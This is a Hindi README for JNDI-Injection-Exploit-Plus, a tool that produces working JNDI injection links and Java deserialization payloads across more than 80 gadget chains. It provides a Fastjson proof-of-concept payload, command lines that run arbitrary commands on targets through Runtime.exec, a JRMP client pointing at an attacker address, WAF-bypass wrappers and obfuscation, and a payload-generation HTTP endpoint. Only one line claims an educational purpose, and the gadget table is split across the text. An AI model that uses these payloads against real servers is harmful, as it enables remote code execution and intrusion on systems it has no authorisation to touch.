
कार्यशील JNDI इंजेक्शन लिंक और डीसीरियलाइज़ेशन पेलोड 80+ गैजेट्स के साथ उत्पन्न करता है, जो स्वचालित भेद्यता परीक्षण के लिए RMI, LDAP और HTTP सर्वरों का समर्थन करता है।
JNDI-Injection-Exploit-Plus एक उपकरण है जो काम करने योग्य JNDI लिंक उत्पन्न करने के लिए है और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके पृष्ठभूमि सेवाएँ प्रदान करता है।
इस उपकरण का उपयोग करके आप JNDI लिंक प्राप्त कर सकते हैं, इन लिंक को अपने POC में डालकर भेद्यता का परीक्षण कर सकते हैं।
उदाहरण के लिए, यह एक Fastjson vul-poc है:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
हम "rmi://127.0.0.1:1099/Object" को JNDI-Injection-Exploit-Plus द्वारा उत्पन्न लिंक से बदलकर भेद्यता का परीक्षण कर सकते हैं।
इसके अलावा, आप JNDI-Injection-Exploit-Plus का उपयोग ysoserial की तरह base64/hex प्रकार के पेलोड उत्पन्न करने के लिए भी कर सकते हैं।
JNDI-Injection-Exploit एक बेहतरीन उपकरण है, यह इसका प्लस संस्करण है।
| पेलोड | लेखक | निर्भरताएँ |
|---|---|---|
| Tomcat 8+ या SpringBoot | @welk1n | trustURLCodebase false है लेकिन क्लासपाथ में Tomcat 8+ या SpringBoot 1.2.x+ है |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase false है लेकिन क्लासपाथ में Tomcat और Groovy है |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase false है लेकिन क्लासपाथ में Tomcat और Groovy है |
| Websphere Readfile | @cckuailong | trustURLCodebase false है लेकिन क्लासपाथ में WebSphere v6-v9 है |
नोट: ysoserial से अधिक गैजेट (⬆️ ) हैं, और अधिक PR का स्वागत है! ^_^
| पेलोड | लेखक | निर्भरताएँ |
|---|---|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| C3P0Tomcat | @yulegeyu | tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| Coherence1 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence2 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence3 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence4 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence5 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence6 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 ⬆️ | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections1_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections2_1 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections3_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections5_1 ⬆️ | @cckuailong | commons-collections:3.1 |
ysoserial की तरह।
आप डीसीरियलाइज़ेशन पेलोड को Base64 या HEX प्रकार के आउटपुट के साथ उत्पन्न कर सकते हैं
डीसीरियल डेटा को लपेटने के लिए कुछ रैपर।
| रैपर | उदाहरण भेद्यताएँ |
|---|---|
| Xstream | CVE-2021-39149 |
| Apereo | Apereo 4.1 डीसीरियलाइज़ेशन RCE |
| JbossRemoting | Jboss रिमोटिंग पोर्ट अनसीरियलाइज़ेशन |
| Gzip | कुछ योन्यू इंटरफ़ेस Gzip का उपयोग करते हैं |
| Dirty | WAF को बायपास करने के लिए बहुत सारा गंदा डेटा डालें |
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

WAF को बायपास करने के लिए क्लास का नाम छिपाएँ।
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}
नोट: पैराम wrapper और output वैकल्पिक हैं।

इस प्रकार चलाएँ
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
जहाँ:
-C - रिमोट क्लासफ़ाइल में निष्पादित कमांड।
(वैकल्पिक, डिफ़ॉल्ट कमांड "open /Applications/Calculator.app" है)
-A - आपके सर्वर का पता, या तो IP पता या डोमेन।
(वैकल्पिक, डिफ़ॉल्ट पता पहला नेटवर्क इंटरफ़ेस पता है)
ध्यान देने योग्य बातें:
सुनिश्चित करें कि आपके सर्वर के पोर्ट (1099, 1389, 8180) उपलब्ध हैं।
या आप run.ServerStart क्लास में डिफ़ॉल्ट पोर्ट बदल सकते हैं।
आपका कमांड Runtime.getRuntime().exec() को पैरामीटर के रूप में पास किया जाता है,
इसलिए आपको यह सुनिश्चित करना होगा कि आपका कमांड exec() विधि में काम करने योग्य है।
"bash -c ...." जैसे bash में कमांड को डबल कोट्स में लपेटने की आवश्यकता है।
इस प्रकार चलाएँ
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
जहाँ:
-C - रिमोट क्लासफ़ाइल में निष्पादित कमांड।
(वैकल्पिक, डिफ़ॉल्ट कमांड "open /Applications/Calculator.app" है)
-D - डीसीरियल गैजेट पेलोड का नाम।
-O - (वैकल्पिक) डीसीरियल आउटपुट प्रकार, डिफ़ॉल्ट base64 है
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
स्थानीय डेमो:
इस प्रकार टूल प्रारंभ करें:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
स्क्रीनशॉट:

मान लें कि हम चरण 1 में उत्पन्न JNDI लिंक जैसे rmi://ADDRESS/remoteExploit8 को एक भेद्य अनुप्रयोग में इंजेक्ट करते हैं जो JNDI इंजेक्शन द्वारा हमला किया जा सकता है।
इस उदाहरण में, यह इस तरह दिखता है:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
फिर जब हम यह कोड चलाते हैं, कमांड निष्पादित हो जाएगा,
और लॉग शेल में प्रिंट होगा:

अधिक उदाहरणों के लिए: Test-JNDI-Injection-Exploit-Plus
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Base64 आउटपुट परिणाम:

हम jar प्राप्त करने के लिए दो विधियों में से एक चुन सकते हैं।
रिलीज़ से नवीनतम jar डाउनलोड करें।
स्रोत कोड को स्थानीय रूप से क्लोन करें और बनाएँ (Java 1.8+ और Maven 3.x+ आवश्यक है)।
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
नोट: ‼️ यदि आपको "java.rmi.xxx does not exists" जैसी त्रुटि मिलती है, तो आपको JAVA_HOME पर्यावरण चर सेट करना चाहिए।
सभी जानकारी और कोड केवल शैक्षिक उद्देश्यों और/या आपके स्वयं के सिस्टम की इन भेद्यताओं के परीक्षण के लिए प्रदान किया गया है।
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections6_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_2 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_3 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections7_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections8 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections10 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections11 ⬆️ | @cckuailong | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler |
| Hibernate2 | @mbechler |
| Jackson ⬆️ | @y4er | com.fasterxml.jackson.core:jackson-databind:2.14.2 |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff |
| JRMPClient1 | @mbechler |
| JRMPClient2 ⬆️ | @cckuailong |
| JRMPClient3 ⬆️ | @cckuailong |
| JRMPClient4 ⬆️ | @cckuailong |
| JRMPClient5 ⬆️ | @cckuailong |
| JRMPClient6 ⬆️ | @cckuailong |
| JRMPListener1 | @cckuailong |
| JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler |
| Myfaces2 | @mbechler |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 ⬆️ | @firebasky | rome:1.0 |
| Scala1 ⬆️ | @jarij | org.scala-lang:scala-library:2.13.x |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 ⬆️ | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | केवल jre भेद्यता का पता लगाने के लिए |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Weblogic1 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic2 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic3 ⬆️ | @cckuailong | com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager |
| Weblogic4 ⬆️ | @cckuailong | weblogic.common.internal.WLObjectOutputStream |
| Weblogic5 ⬆️ | @cckuailong | weblogic:12.2.1.4, coherence |
| Weblogic6 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic7 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic8 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic9 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic10 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic11 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
| WildFly1 ⬆️ | @hugow | org.wildfly:wildfly-connector:26.0.1.Final |